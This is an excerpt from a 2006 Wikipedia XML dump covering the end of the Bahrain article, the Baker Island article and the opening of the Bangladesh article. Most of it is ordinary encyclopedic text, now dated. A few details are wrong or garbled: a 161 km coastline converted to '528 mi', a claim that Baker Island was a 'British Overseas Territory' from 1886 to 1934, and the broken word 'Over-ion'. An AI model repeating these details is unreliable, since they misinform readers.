Bahraini liberals have responded to the growing power of [[List of political parties in Bahrain| religious extremist parties]] by organising themselves to campaign through civil society in order to defend basic personal freedoms from being legislated away. In November 2005, [[Al Muntada]], a grouping of liberal academics, launched '[[We Have A Right]]', a campaign to explain to the public why personal freedoms matter and why they need to be defended. 

[[Women's political rights in Bahrain]] saw an important step forward when women were granted the right to vote and stand in national elections for the first time in 2002's election. However, no women were elected to office in that year’s polls and instead Shia and Sunni Islamists dominated the election, collectively winning a majority of seats. In response to the failure of women candidates, six were appointed to the Shura Council, which also includes representatives of the Kingdom’s indigenous [[Jewish]] and [[Christian]] communities. The country's first female cabinet minister was appointed in 2004 when [[Dr Nada Haffadh]] became Minister of Health. 

The King recently created the Supreme Judicial Council to regulate the country's courts and institutionalize the separation of the administrative and judicial branches of government.

On 11-[[12 November]] [[2005]], Bahrain hosted the [[Forum for the Future (Bahrain 2005)| Forum for the Future]] bringing together leaders from the Middle East and G8 countries to discuss political and economic reform in the region.

==Governorates==
[[Image:Bahrain governorates numbered.png|right|Map of Bahrain showing governorates]]

''Main article: [[Governorates of Bahrain]]''

Bahrain is split into five [[governorate]]s. Until [[July 3]] [[2002]], it was divided into twelve municipalities; see [[Municipalities of Bahrain]].

#[[Capital Governorate|Capital]]
#[[Central Governorate|Central]]
#[[Muharraq Governorate|Muharraq]]
#[[Northern Governorate|Northern]]
#[[Southern Governorate|Southern]]

For further information, see: [http://www.capital.gov.bh/pages/pdf/govlawe.pdf Decree-Law establishing governorates] from the Bahrain official website

==Economy==
''Main article: [[Economy of Bahrain]]''

In a region currently experiencing an oil boom of unprecedented proportions, Bahrain is the [http://www.tradearabia.com/tanews/newsdetails_snECO_article99455_cnt.html fastest growing economy] in the Arab world the [[United Nations Economic and Social Commission for Western Asia]] found in January 2006. Bahrain also has the [http://www.heritage.org/research/features/index/country.cfm?id=Bahrain freest economy in the Middle East] according to the 2006 [[Index of Economic Freedom]] published by the [[Heritage Foundation]]/[[Wall Street Journal]], and is twenty-fifth freest overall in the world.

In Bahrain, petroleum production and processing account for about 60% of export receipts, 60% of government revenues, and 30% of GDP. Economic conditions have fluctuated with the changing fortunes of oil since 1985, for example, during and following the [[Persian Gulf]] crisis of 1990-91. With its highly developed communication and transport facilities, Bahrain is home to numerous multinational firms with business in the Persian Gulf. A large share of exports consists of petroleum products made from imported crude. Construction proceeds on several major industrial projects. Unemployment, especially among the young, and the depletion of both oil and underground water resources are major long-term economic problems.

==Geography==
[[Image:Bahrain map.png|right|250px|Map of Bahrain]]
:''Main article: [[Geography of Bahrain]]''

Bahrain is a generally flat and arid [[archipelago]], comprising of a low desert plain rising gently to a low central escarpment, in the [[Persian Gulf]], east of [[Saudi Arabia]]. The highest point is the 122m Jabal ad Dukhan.

Considered to be one of the fifteen states that comprise the so-called &quot;[[Cradle of Humanity]]&quot; in the [[Middle East]], Bahrain has a total area of 620 [[Square kilometre]]s (239&amp;nbsp;[[square mile|mi²]]), which is slightly larger than the [[Isle of Man]], though it is smaller than the nearby [[King Fahd Airport]] in Dammam, Saudi Arabia which boasts an incredible 780 [[Square kilometre]]s (301&amp;nbsp;mi²). As an archipelago of 33 islands, Bahrain does not share a land boundary with another country but does have a 161 [[kilometre]]s (528&amp;nbsp;[[mile|mi]]) coastline and claims a further 12 [[nautical mile]]s (22&amp;nbsp;km) of [[territorial sea]] and a 24 nautical mile (44&amp;nbsp;km) [[contiguous zone]]. Bahrain enjoys mild winters and endures very hot, humid summers.

Bahrain's natural resources include large quantities of oil and associated and nonassociated natural gas as well as fish stocks, which is perhaps fortunate as arable land constitutes only 1% of the country. Desert constitutes 92% of Bahrain and periodic droughts and dust storms are the main natural hazards for Bahrainis.

Environmental issues facing Bahrain include desertification resulting from the degradation of limited arable land and coastal degradation (damage to coastlines, coral reefs, and sea vegetation) resulting from oil spills and other discharges from large tankers, oil refineries, and distribution stations. Over-ion of the [[Dammam aquifer]], the principal aquifer in Bahrain, by the agricultural and domestic sectors, has led to its salinization by adjacent brackish and saline water bodies.

==Demographics==
[[Image:Manama bahrain.jpg|thumb|300px|Bahrain from space, June 1996]]

''Main article: [[Demographics of Bahrain]]''

The official religion of Bahrain is [[Islam]], with the majority of the population practicing Islam. However, due to an influx of immigrants and guest workers from non-Muslim countries, such as the Philippines and Sri Lanka, the overall percentage of Muslims in the country has declined in recent years. According to the 2001 census, 81.2 percent of Bahrain's population was Muslim (Shi'a and Sunni), 9 percent were Christian, and 9.8 percent practiced other Asian or Middle Eastern religions.

Recently, Bahrain has transformed into a cosmopolitan society with mixed communities: two thirds of Bahrain's population consists of [[Arabs]], while the rest are immigrants and guest workers largely from [[Iran]], [[South Asia]] and [[Southeast Asia]]. A Financial Times published on [[31 May]] [[1983]] found that &quot;Bahrain is a [[polyglot]] state, both religiously and racially. Leaving aside the temporary immigrants of the past 10 years, there are at least eight or nine communities on the island.&quot;

The present communities may be classified as Al-Khalifa, Arab tribes allied to [[Al-Khalifa]], the [[Baharnah]] (Shia Arabs), the [[Howilla]] (Sunni Arabs from Persia), Sunni Arabs (from the mainland), [[Ajam]] (Persian Shia), Indians who traded with Bahrain and settled before the age of oil (used to be called Banyan), a tiny Jewish community, and a miscellaneous grouping.

==Culture==
''Main article: [[Culture of Bahrain]]''

As flashy and modern as central [[Manama]] may be, the basic rhythms of life in the island's many villages (and in parts of Manama itself) remain remarkably traditional. By the same token, where there's tradition in the Persian Gulf there's Islamic conservatism: women cover themselves from head to foot and women travellers are expected to wear long skirts and one-piece bathing suits. Bahrain's population is 85% Muslim and Islam is the state religion. Arabic is the official language but English and Indian languages such as Hindi, Malayalam, Tamil, and Telugu are widely spoken.

Traditional craftwork continues in several places around Bahrain: dhows (fishing boats) are built on the outskirts of Manama and Muharraq, cloth woven at Bani Jamrah and pottery thrown at A'ali. A few goldsmiths still operate in the Manama souk, though a lot of the work is now done abroad. One of the mainstays of Bahraini culture is the drinking of traditional Arabian [[coffee]]. You can't go far without finding a coffee pot in a shop or a souk. Traditional Arabian street food like [[shawarma]] (lamb or chicken carved from a huge rotating spit and served in [[pita]]) and desserts such as [[baklawa]] and halwa are also ubiquitous.

Political liberalisation under [[King Hamad bin Isa Al Khalifa]] has been accompanied by a greater willingness by society in general to examine previous social taboos. It is now common to find public seminars on once unheard of subjects such as [http://www.gulf-daily-news.com/1yr_arc_Articles.asp?Article=133261&amp;Sn=BNEW&amp;IssueID=28308&amp;date=1-22-2006 marital problems and sex] and [http://www.gulf-daily-news.com/arc_Articles.asp?Article=132912&amp;Sn=BNEW&amp;IssueID=28304 child abuse]. Another facet of the new openness is Bahrain's status as the most prolific book publisher in the Arab world, with 132 books published in 2005 for a population of 700,000. In comparison the average for the entire Arab world is seven books published per one million people in 2005, according to the United Nations Development Programme. [http://archive.gulfnews.com/articles/06/01/04/10009260.html] 

It was revealed on [[October 20]], [[2005]] that [[Michael Jackson]] intended on permanently leaving the [[United States]] in order to seek a new life in Bahrain. Mr Jackson has reportedly told friends that he feels [http://archive.gulfnews.com/articles/06/01/23/10013403.html 'increasingly Bahraini'] after buying a former MP's mansion in [[Sanad]], and is now seeking another property by the sea shore. Other celebrites connected with the Kingdom include Grand Prix driver [[Jenson Button]], who also owns a property, and [[Shakira]] (for more details see [[List of famous people connected with Bahrain]]).

===Language===
[[Arabic]] is the official language of Bahrain. The two main dialects are [[Baharna Arabic]], spoken by the indigenous [[Baharna]] Shia, and [[Gulf Arabic]] spoken by the tribal Sunnis. [[Persian language|Persian]], [[Urdu]], [[English language|English]] and [[Malayalam]] are also spoken by sections of the population.

===Formula One===
Bahrain is the home of [[Formula One]] racing in the Middle East, hosting the [[Gulf Air Grand Prix]] on 4/4/04, the first for an Arab country and then followed by the [[Bahrain Grand Prix]] in 2005. Bahrain has been chosen to host the opening Grand Prix of the 2006 season on [[March 12]].

===Holidays===
{| class=&quot;wikitable&quot;
|-
! style=&quot;background:#efefef;&quot; | Date
! style=&quot;background:#efefef;&quot; | English Name
! style=&quot;background:#efefef;&quot; | Local Name
! style=&quot;background:#efefef;&quot; | Remarks
|-
| [[January 1]] || [[New Year's Day]] || -
| -&lt;!-- WHAT IS THIS?? &amp;nbsp; &amp;#1585;&amp;#1571;&amp;#1587; &amp;#1575;&amp;#1604;&amp;#1587;&amp;#1606;&amp;#1577; &amp;#1575;&amp;#1604;&amp;#1605;&amp;#1610;&amp;#1604;&amp;#1575;&amp;#1583;&amp;#1610;&amp;#1577; --&gt;
|-
| [[May 1]] || Labour Day || -
|-
| [[December 16]] || National Day || -
| -&lt;!-- WHAT IS THIS?? &amp;nbsp; &amp;#1575;&amp;#1604;&amp;#1593;&amp;#1610;&amp;#1583; &amp;#1575;&amp;#1604;&amp;#1608;&amp;#1591;&amp;#1606;&amp;#1610; --&gt;
|-
| [[December 17]] || Accession Day || -
| -
|-
| date varies
| Feast of the Sacrifice or the Big Feast (4 days)
| [[Eid ul-Adha]]
| Commemorates [[Ibrahim#Abraham in Islam|Abraham]]'s willingness to sacrifice his son, occurs at the end of the month of [[hajj]]
|-
| date varies || the Little Feast (3 days) || [[Eid ul-Fitr]]
| Commemorates end of [[Ramadan]]
|-
| date varies || Hijri New Year || [[Muharram]]
| Islamic New Year
|-
| date varies || Al-Isra' ul-Miraj || -
| Commemorates Muhammad's trip to heaven
|-
| date varies
| [[Prophet]] [[Muhammad]]'s birthday
| Mawlid al-Nabi || -
|-
| date varies || [[Ashoura]] (2 days)
|
| death of imam Husain Al Shaheed (AS) | -
|}

== Tourism ==
''Main articles, [[Tourism in Bahrain]] and [[List of Bahrain's tourist attractions]]''

Bahrain has long been a popular tourist destination for visitors from neighboring states, but growing awareness of its rich heritage dating back five thousand years to the [[Dilmun]] civilization means that the Kingdom is steadily attracting visitors from further abroad. 

Bahrain combines a modern infrastructure and comparatively liberal society with an authentic Gulf experience making it an ideal introduction to the Middle East.  Tourist attractions include historic sites such as the recently [[UNESCO]] listed [[Qalat Al Bahrain]] castle and archaeological complex, the tens of thousands of ancient [[Dilmun Burial Mounds]] that dot the landscape, traditional Arab culture, shopping in the Kingdom's malls and souks, and the opportunity to relax in the many hotel beach resorts and luxury spas.

The Kingdom is becoming increasingly popular with celebrities: during a 2006 New Year break in Manama controversial former [[Daily Mirror]] editor [[Piers Morgan]] told the [http://www.telegraph.co.uk/opinion/main.jhtml?xml=/opinion/2006/01/03/dp0301.xml#top Telegraph] that he found his &quot;arch-enemies&quot;, TV presenter [[Carol Vorderman]] and journalist [[Des Kelly]], sharing the same hotel swimming pool.

==Education==
''Main article: [[Education in Bahrain]]''

Numerous international educational institutions and schools have established links to Bahrain. One prominent institution is [[DePaul University]] of the [[United States]].

Quranic schools (Kuttab) were the only form of education in Bahrain at the beginning of the 20th century. They were traditional schools aimed at teaching children and youth the reading of the [[Qur'an]].
Many people of Bahrain had felt that this type of education did not fulfil the academic efficiency that match with the spirit of age. After the [[First World War]], things changed and Bahrain became widely open upon the modern western renaissance. Political and social changes have occurred in the country that caused the rise of social and cultural awareness among people. 

Due to all these, a demand for modern educational institutions different from (Kuttab) has appeared in terms of system, curricula and objectives.

1919 marked the beginning of modern public school system in Bahrain. Al-Hidaya Al-Khalifia school for boys was opened in Muharraq. In 1926, the Education Committee had opened the second public school for boys in Manama.

In 1928 the first public school for girls was opened in Muharraq.

The first institution of higher education in Bahrain, the Gulf Polytechnic, was accomplished in 1968 as the Gulf Technical College. In 1986 Gulf Polytechnic merged with the University College of Art, Science, and Education (UCB), founded in 1979, to create the [[University of Bahrain]], a national university offering bachelor of arts and bachelor of science degrees.

==External links==
{{sisterlinks|Bahrain}}

'''Government'''
* [http://www.bahrain.gov.bh/ Bahrain Government ] official web site

'''Heritage'''
* [http://www.bahrain-writer.com Bahrain Writer's Society]
* [http://www.karrana.net/ Karrana village - ''Bahrain''] includes Background Notes, Album and heritage page.
* [http://www.karrana.net/albm/ Karrana village album - ''Bahrain''] includes hundreds of images about karrana.

'''General information'''

* [http://www.odci.gov/cia/publications/factbook/geos/ba.html] CIA World Fact Book (contains 2001 census)
* [http://www.bna.bh/ Bahrain News Agency] [http://english.bna.bh/ in English]
* [http://www.gulf-daily-news.com/ Gulf Daily News - Bahrain's main English language daily newspaper]
* [http://www.al-bab.com/arab/countries/bahrain.htm al-Bab - ''Bahrain'']
* [http://dmoz.org/Regional/Middle_East/Bahrain Open Directory Project - ''Bahrain''] directory category
* [http://www.nationsencyclopedia.com/Asia-and-Oceania/Bahrain.html Encyclopedia of the Nations - ''Bahrain'']
* [http://www.state.gov/p/nea/ci/c3219.htm US State Department - ''Bahrain''] includes Background Notes, Country Study and major reports
* [http://ixpats.com/bh iXpats.com - ''Bahrain''] Online community for expats living and working in Bahrain
* [http://www.lulu.com/content/150420 Lulu.com - ''The State is Not Immune'']  A Case history of the Bahrain Penal and Judicial System

{{Cooperation Council for the Arab States of the Gulf}}
{{Southwest_Asia}}
{{Middle_East}}
{{Asia}}

[[Category:Bahrain|*]]
[[Category:Middle Eastern countries]]

[[an:Bahrein]]
[[ar:البحرين]]
[[ast:Bahrein]]
[[bg:Бахрейн]]
[[bn:বাহরাইন]]
[[ca:Bahrain]]
[[cs:Bahrajn]]
[[cy:Bahrain]]
[[da:Bahrain]]
[[de:Bahrain]]
[[eo:Barejno]]
[[es:Bahréin]]
[[et:Bahrein]]
[[eu:Bahrain]]
[[fi:Bahrain]]
[[fr:Bahreïn]]
[[fy:De Barein]]
[[gd:Bahrain]]
[[gl:Bahrain - البحرين]]
[[he:בחריין]]
[[hi:बहरीन]]
[[hr:Bahrein]]
[[hu:Bahrein]]
[[id:Bahrain]]
[[io:Bahrain]]
[[is:Barein]]
[[it:Bahrain]]
[[ja:バーレーン]]
[[ko:바레인]]
[[ks:बहरैन]]
[[ku:Behreyn]]
[[li:Bahrein]]
[[lt:Bahreinas]]
[[lv:Bahreina]]
[[ms:Bahrain]]
[[na:Bahrain]]
[[nds:Bahrain]]
[[nl:Bahrein]]
[[nn:Bahrain]]
[[no:Bahrain]]
[[oc:Bahrayn]]
[[os:Бахрейн]]
[[pl:Bahrajn]]
[[pt:Bahrein]]
[[ro:Bahrain]]
[[ru:Бахрейн]]
[[sa:बहरैन]]
[[scn:Bahrain]]
[[simple:Bahrain]]
[[sk:Bahrajn]]
[[sl:Bahrajn]]
[[sq:Bahraini]]
[[sr:Бахреин]]
[[sv:Bahrain]]
[[tg:Баҳрайн]]
[[th:ประเทศบาห์เรน]]
[[tl:Bahrain]]
[[tr:Bahreyn]]
[[uk:Бахрейн]]
[[zh:巴林]]
[[zh-min-nan:Bahrain]]</text>
    </revision>
  </page>
  <page>
    <title>Baker Island</title>
    <id>3453</id>
    <revision>
      <id>41953000</id>
      <timestamp>2006-03-02T21:20:36Z</timestamp>
      <contributor>
        <username>Tobias Conradi</username>
        <id>10784</id>
      </contributor>
      <comment>/* Geography */ [[UTC-12]]</comment>
      <text xml:space="preserve">[[Image:BakerIsland.jpeg|right]]

'''Baker Island''' is an uninhabited [[atoll]] located just north of the equator in the central [[Pacific Ocean]] at {{coor dm|0|13|N|176|31|W|}}, about 3,100 km (1,675 [[nautical mile]]s) southwest of Honolulu. Part of the [[United States Minor Outlying Islands]], it is about one-half of the way from [[Hawaii]] to [[Australia]].

'''Baker Island National Wildlife Refuge''' consists of the 405 acre (1.64 km²) island and a surrounding 30,504 acres (123.45 km²) of submerged land. The island is now a [[National Wildlife Refuge]] managed by the [[U.S. Fish and Wildlife Service]] as an [[insular area]] under the [[U.S. Department of the Interior]]. Baker Island is an [[unincorporated territory|unincorporated]] and [[unorganized territory]] of the [[United States|U.S.]]. 

Its defense is the responsibility of the [[United States]]; though uninhabited, it is visited annually by the [[U.S. Coast Guard]].

==History==
The [[United States|United States of America]] took possession of the island in 1857, claimed under the [[Guano Islands Act]] of 1856, and it became a [[British Overseas Territory]] from 1886 to 1934. Its [[guano]] deposits were mined by U.S. and [[United Kingdom|British]] companies during the second half of the 19th century. In 1935, a short-lived attempt at colonization was begun on this island, with a population of four in the settlement '''Meyerton'''—as well as on nearby [[Howland Island]]—but was disrupted by [[World War II]] and thereafter abandoned. [[Feral]] [[cat]]s were eradicated from the island in 1964. 

American civilians evacuated in 1942 after [[Japan]]ese air and naval attacks during World War II; occupied by U.S. military during World War II, but abandoned after the war; public entry is by special-use permit from [[U.S. Fish and Wildlife Service]] only and generally restricted to scientists and educators; a cemetery and remnants of structures from early settlement are located near the middle of the west coast; visited annually by U.S. Fish and Wildlife Service (July 2000 est.)

''See also the [[History of the Pacific Islands]].''

==Geography==
[[Image:Nwrbakerisle a320.gif|right|U.S. Fish &amp; Wildlife Service Aerial View of Baker Island]]
Located in the North Pacific Ocean at {{coor dm |0|13|N|176|31|W|}}, the island is tiny at just 1.64 km² (405 acres) and 4.8 km (4800 m) of coastline. The climate is equatorial, with little rainfall, constant wind and a burning sun. The terrain is low-lying and sandy: a coral island surrounded by a narrow fringing reef with a depressed central area. The highest point is 8 meters above sea level. 

There are no natural fresh water resources. The island is treeless, with sparse vegetation consisting of grasses, prostrate vines, low growing shrubs and some scattered ruins. The island is primarily a nesting, roosting, and foraging habitat for seabirds, shorebirds, and marine wildlife. 

The U.S. claims an exclusive economic zone of 200 nautical miles (370 km) and territorial sea of 12 nautical miles (22 km).

The island's [[Time zone]]: [[UTC-12]]

==Transportation==
There are no ports or harbors, with anchorage available only offshore. There is one boat landing area along the middle of the west coast. There is an abandoned [[World War II]] runway (1,665 m) which is completely covered with vegetation and unusable.

Natural hazards: The narrow fringing reef surrounding the island can be a maritime hazard and there is a [[day beacon]] near the middle of the west coast.

==External links==
*[http://pacificislands.fws.gov/wnwr/pbakernwr.html Baker Island National Wildlife Refuge]
*[http://www.cia.gov/cia/publications/factbook/geos/fq.html Baker Island] This article incorporated material from the [[CIA World Factbook]] 2000. Update as needed.

{{United_States}}
{{Pacific_Islands}}

[[Category:Insular areas of the United States]]
[[Category:Islands]]
[[Category:National Wildlife Refuges of the United States]]

[[zh-min-nan:Baker-tó]]
[[ca:Illa Baker]]
[[de:Bakerinsel]]
[[es:Isla Baker]]
[[eo:Bakerinsulo]]
[[fr:Île Baker]]
[[gl:Illa Baker]]
[[ko:베이커 섬]]
[[id:Pulau Baker]]
[[is:Bakereyja]]
[[he:בייקר (אי)]]
[[lv:Beikera sala]]
[[hu:Baker-sziget]]
[[nl:Bakereiland]]
[[ja:ベーカー島]]
[[no:Bakerøya]]
[[pl:Baker (terytorium USA)]]
[[pt:Ilha Baker]]
[[ru:Остров Бейкер]]
[[fi:Baker Island]]
[[tr:Baker Adası]]
[[zh:貝克島]]</text>
    </revision>
  </page>
  <page>
    <title>Bangladesh</title>
    <id>3454</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42140110</id>
      <timestamp>2006-03-04T02:10:31Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/84.57.238.225|84.57.238.225]] ([[User talk:84.57.238.225|talk]]) to last version by El C</comment>
      <text xml:space="preserve">{{Infobox Country|
native_name              = People's Republic of Bangladesh&lt;br /&gt;গনপ্রজাতন্ত্রী বাংলাদেশ&lt;br /&gt;Gôno Projatontri Bangladesh |
common_name              = Bangladesh |
image_flag               = Flag of Bangladesh.svg |
image_coat               = Bangladesh coa.png |
national_motto           = none |
national_anthem          = [[Amar Shonar Bangla]]&lt;br /&gt;(My Golden Bengal) |
image_map                = LocationBangladesh.png |
official_languages       = [[Bengali language|Bengali]] |
capital                  = [[Dhaka]] |
latd                     = 23|latm=42|latNS=N|longd=90|longm=22|longEW=E  |
government_type          = [[Parliamentary system|Parliamentary Republic]] |
leader_titles            = [[President of Bangladesh|President]]&lt;br /&gt;[[Prime Minister of Bangladesh|Prime Minister]] |
leader_names             = [[Iajuddin Ahmed]]&lt;br /&gt;[[Khaleda Zia]] |
largest_city             = [[Dhaka]] |
area                     = 144,000 |
areami²                  = 55,598 | &lt;!-- Do not remove [[WP:MOSNUM]]--&gt;
area_rank                = 91st |
area_magnitude           =  |
percent_water            = 7.0 |
population_estimate      = 144,319,628 |
population_estimate_year = 2005 |
population_estimate_rank = 7th |
population_census        =  |
population_census_year   =  |
population_density       = 1,002 |
population_densitymi²    = 2,595 | &lt;!-- Do not remove [[WP:MOSNUM]]--&gt;
population_density_rank  = 6th |
GDP_PPP_year             = 2005 |
GDP_PPP                  = $280&amp;nbsp;[[1 E9|billion]] |
GDP_PPP_rank             = 32nd |
GDP_PPP_per_capita       = $1875 |
GDP_PPP_per_capita_rank  = 151st |
HDI_year                 = 2003 |
HDI                      = 0.520 |
HDI_rank                 = 139th |
HDI_category             = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt; |
sovereignty_type         = [[Independence of Bangladesh|Independence]] |
established_events       = &amp;nbsp;- Declared&lt;br /&gt;&amp;nbsp;- [[Victory Day (Bangladesh)|Victory Day]] |
established_dates        = From [[Pakistan]]&lt;br /&gt;[[March 26]], [[1971]]&lt;br /&gt;[[December 16]], [[1971]] |
currency                 = [[Taka]] |
currency_code            = BDT |
time_zone                = BDT |
utc_offset               = +6 |
time_zone_DST            = not observed |
utc_offset_DST           = +6|
cctld                    = [[.bd]] |
calling_code             = 880 - [[Bangladesh Calling SubCodes|SubCodes]]|
nationality              = Bangladeshi |
footnotes                = |
}}

The '''People's Republic of Bangladesh''' is a South Asian country bordering [[India]], [[Myanmar]] and the [[Bay of Bengal]]. Together with the [[West Bengal]] state of India, it comprises the ethno-linguistic region of [[Bengal]]. The name ''Bangladesh'' is written as বাংলাদেশ and pronounced {{IPA2|'baŋlad̪eʃ}}. It means &quot;Country of Bengal&quot;  but the origin of the word ''Bangla'' (Bengal) is obscure.

The borders of Bangladesh were demarcated during the [[Partition of India|partition]] of [[British India]] in 1947 when it became the eastern wing of [[Pakistan]], separated by 1,000 miles (1,600&amp;nbsp;[[kilometre|km]]). Despite their common religion, the ethnic and linguistic gulf between east and west was compounded by the ruling west's neglect and persecution. This resulted in the independence of Bangladesh in 1971, after a bloody [[Bangladesh Liberation War|war]] supported by India. In its 35 years of independence marked by political turmoil and corruption, Bangladesh has had 13 different heads of government, two of them assassinated, and at least four [[Military coups in Bangladesh|coups]]. The last two political transitions were lawful.

Bangladesh is belied by its modest land area (only 10% bigger than [[Greece]] but with 14 times the population). Its population ranks [[List of countries by population|7]]th in the world, but its area is ranked 100th. It is 3rd among Muslim-majority nations, though it has a slightly smaller Muslim population than the Muslim minority in India. After a handful of city-states and small island nations, it is the [[List of countries by population density|most densely populated country]] in the world. Geographically dominated by the fertile [[Ganges Delta|Ganges-Brahmaputra Delta]] the country has annual [[monsoon]] floods, and [[cyclone]]s are also common. Bangladesh is one of the founding members of [[SAARC|South Asian Association for Regional Cooperation]](SAARC), [[BIMSTEC]], and a member of the [[OIC]] and the [[D-8]].

==History==
{{main|History of Bangladesh}}
Remnants of [[civilization]] in the greater [[Bengal]] region date back three millennia when the region was settled by [[Dravidian people|Dravidians]] and [[Tibeto-Burman languages|Tibeto-Burmans]]. It mostly fractured into unaffiliated units, ruled by various foreign and domestic kingdoms and empires. After the arrival of [[Indo-Aryans]], Bengal was ruled by Hindu [[Gupta Empire]] from the [[4th century|4th]] through [[6th century|6th]] centuries [[Common Era|CE]]. Then, a dynamic Bengali [[Shashanka]] erected an impressive but short-lived kingdom. With the 8th century [[Buddhist]] [[Pala dynasty]], the region reached its most ascendent moment, but retreated during the 12th century [[Sena dynasty]].

[[Islam]] was introduced to Bengal in the 12th century by [[Sufi]] missionaries, and subsequent Muslim conquests help spread Islam throughout the region. [[Bakhtiyar Khalji|Bakhtiar Khilji]], a Turkic general, defeated [[Lakshman Sen]] of the Sena dynasty and conquered large parts of Bengal. The region was ruled by local rulers like [[Isa Khan]] and the fabled ''Baro Bhuiyans'' for the next few hundreds years. By the 16th century, [[Mughal]] empire controlled Bengal and [[Dhaka]] became an important provincial center of Mughal administration as the seat of the [[Nawab]].

European traders began to arrive in late 15th century and by late 18th century the [[British East India Company]] gained control of Bengal following the [[Battle of Plassey]] in 1757. The bloody rebellion of 1857 known as the [[Sepoy Mutiny]] resulted in transfer of authority to the [[British Crown| crown]], with a British [[viceroy]] running the administration. A pattern of economic exploitation continued as famine racked the subcontinent many times, including at least two major famines in Bengal. Between 1905 and 1911, an abortive attempt was made to divide the province of Bengal into two zones, with [[Dhaka]] being the capital of the eastern zone.

When the British left, Bengal was partitioned along religious lines, the [[West Bengal|western part]] going to India, while the eastern part joined [[Pakistan]] as a province called [[East Bengal (province)|East Bengal]], with its capital in [[Dhaka]]. In 1950, land reform was accomplished in East Bengal through the abolition of the feudal [[zamindari]] system. The [[Language Movement]] of 1952 was the first sign of friction between the two wings of Pakistan. In 1955, the province's name was changed to [[East Pakistan]]. Troubles in East Pakistan continued to rise. The Bengali [[Awami League]] agitated for autonomy, and in 1966, its president [[Sheikh Mujibur Rahman]] was jailed. The upper levels of Pakistan's government and military were dominated by the feudal classes from the west, even though the economic and demographic weight of the east was equal or greater.

[[Image:TIMEfreedomofBangladesh.jpg|left|thumb|A ''[[TIME magazine|TIME]]'' magazine issue covering the newly independent Bangladesh.]]

In 1970, a massive [[1970 Bhola cyclone|cyclone]] devasted coastal East Pakistan, and the central government responded poorly. The anger was compounded when [[Sheikh Mujibur Rahman]], whose [[Awami League]] fairly won a majority in Parliament in the 1970 elections, was blocked from taking office. After staging compromise talks with Mujib, President Yahya Khan arrested him and on [[March 25]],[[1971]] launched an all-out [[Operation Searchlight|military assault]] on East Pakistan. Yahya's methods were extremely bloody, as he intended to intimidate the Bengalis into total submission. His slaughter of unarmed innocents was one of the worst [[genocides]] in world history, similar in scale to that of [[Khmer Rouge]] in [[Cambodia]] [http://www.gendercide.org/case_bangladesh.html].  Chief targets included [[intellectual]]s and Hindus. Ten million [[refugee]]s fled to neighbouring India. Rough estimates of those massacred range from several hundred thousand to 3 million [http://users.erols.com/mwhite28/warstat2.htm#Bangladesh],
[http://www.virtualbangladesh.com/history/holocaust.html], [http://www.negotiation.com/bangladeshi-independence.html].

The [[Bangladesh Liberation War]] lasted for 9 months. The [[guerrilla warfare|guerrilla]] [[Mukti Bahini]] and Bengali regulars eventually received decisive support from the [[Indian Armed Forces]] in December 1971. Under the command of [[Jagjit Singh Aurora|Lt. General J.S. Arora]], the [[Indian army]] achieved a decisive victory over Pakistan, taking over 90,000 prisoners of war in the [[Indo-Pakistani War of 1971]]. 

[[Image:Map Bangladesh RoadRail.png|thumb|right|250px|Bangladesh - also showing Rail and Road links.]]

After independence, Bangladesh initially became a parliamentary democracy, with Mujib as the Prime Minister. In the 1973 parliamentary elections, Awami League gained an absolute majority. A nationwide famine occurred during 1973 and 1974. On [[January 25]], [[1975]], Mujib became President and initiated one party rule with his newly formed [[BAKSAL]]. All but four Government [[newspaper]]s were banned. On [[August 15]], [[1975]], Mujib and his family were assassinated by mid-level military officers. A series of bloody coups and counter-coups in the following three months culimated in the ascent to power by General [[Ziaur Rahman]]. Under Zia, foreign relations improved, but at the same time, Zia removed [[secularism]] and [[socialism]] as the basic principles of the [[Constitution of Bangladesh|constitution]], replacing them with &quot;Complete Faith and Trust in Allah&quot; and &quot;Social justice&quot;. Zia founded [[Bangladesh Nationalist Party]] (BNP) which won the 1978 election. However, amid declining popularity, he was assassinated in 1981 by elements of the military. Bangladesh's next major ruler was General [[Hossain Mohammad Ershad]] who gained power in a bloodless coup in 1982. He made [[Islam]] the state religion. He ruled from 1982 until 1990, when he was ousted in a popular uprising.

Since then, Bangladesh has reverted to parliamentary democracy. Zia's widow [[Khaleda Zia]] rose to head the BNP and the country from 1991 to 1996 and again from 2001. She maintains a bitter rivalry with one of Mujib's surviving daughter [[Sheikh Hasina]] who heads the Awami League and was in power from 1996 to 2001.

Though extremely poor and ruled mostly by corrupt politicians, Bangladesh has remained a Muslim democracy. It is the only country in the world where power is handed over to members of the [[Caretaker|civil society]] for three months, who run the general elections and transfer the power to people's representatives. This system was adopted to the constitution in 1996.

==Government==
{{main|Government of Bangladesh}}
{{National symbols of Bangladesh}}
[[Image:Jatiyo Sangshad Bhaban (Roehl).jpg|left|thumb|250px|[[Jatiyo Sangshad Bhaban]], designed by [[Louis I. Kahn]], houses the National Parliament of Bangladesh]]

Bangladesh is a [[Parliamentary democracy]]. The [[President of Bangladesh|President]] is the [[head of state]], a largely ceremonial post. The real power is held by the [[Prime Minister of Bangladesh|Prime Minister]], who is [[head of government]]. The president is elected by the legislature every five years and has normally limited powers that are substantially expanded during the tenure of a [[caretaker government]], mainly in controlling the transition to a new government.

The prime minister is ceremonially appointed by the president and must be a member of parliament (MP) commanding the confidence of the majority of other MPs. The [[cabinet]] is composed of [[minister]]s selected by the prime minister and appointed by the president.

The [[unicameral]] Bangladeshi [[parliament]] is the House of the Nation or [[Jatiyo Sangshad]], which has 300 members elected by popular vote from single territorial constituencies for five-year terms of office. The remaining 45 seats are reserved for women, and allocated among political parties according to representation of elected members. There is [[universal suffrage]], citizens attain the right to vote at age 18.

The most important legal document in Bangladesh is the [[Constitution of Bangladesh|constitution]]. The constitution was written in 1972 and has undergone thirteen [[amendment]]s. All other laws of the country are made by the Parliament conforming to the tenets of the constitution.

The highest [[judiciary]] body is the Supreme Court, whose chief justices and other judges are appointed by the president. The judiciary is not separate from the administration, which has caused much commotion in recent years. Laws are loosely based on [[English common law]]. But family laws (regarding marriage, inheritance, etc.) are based on religious texts, and hence differ for various religious communities.

==Politics==
{{main|List of political parties in Bangladesh}}
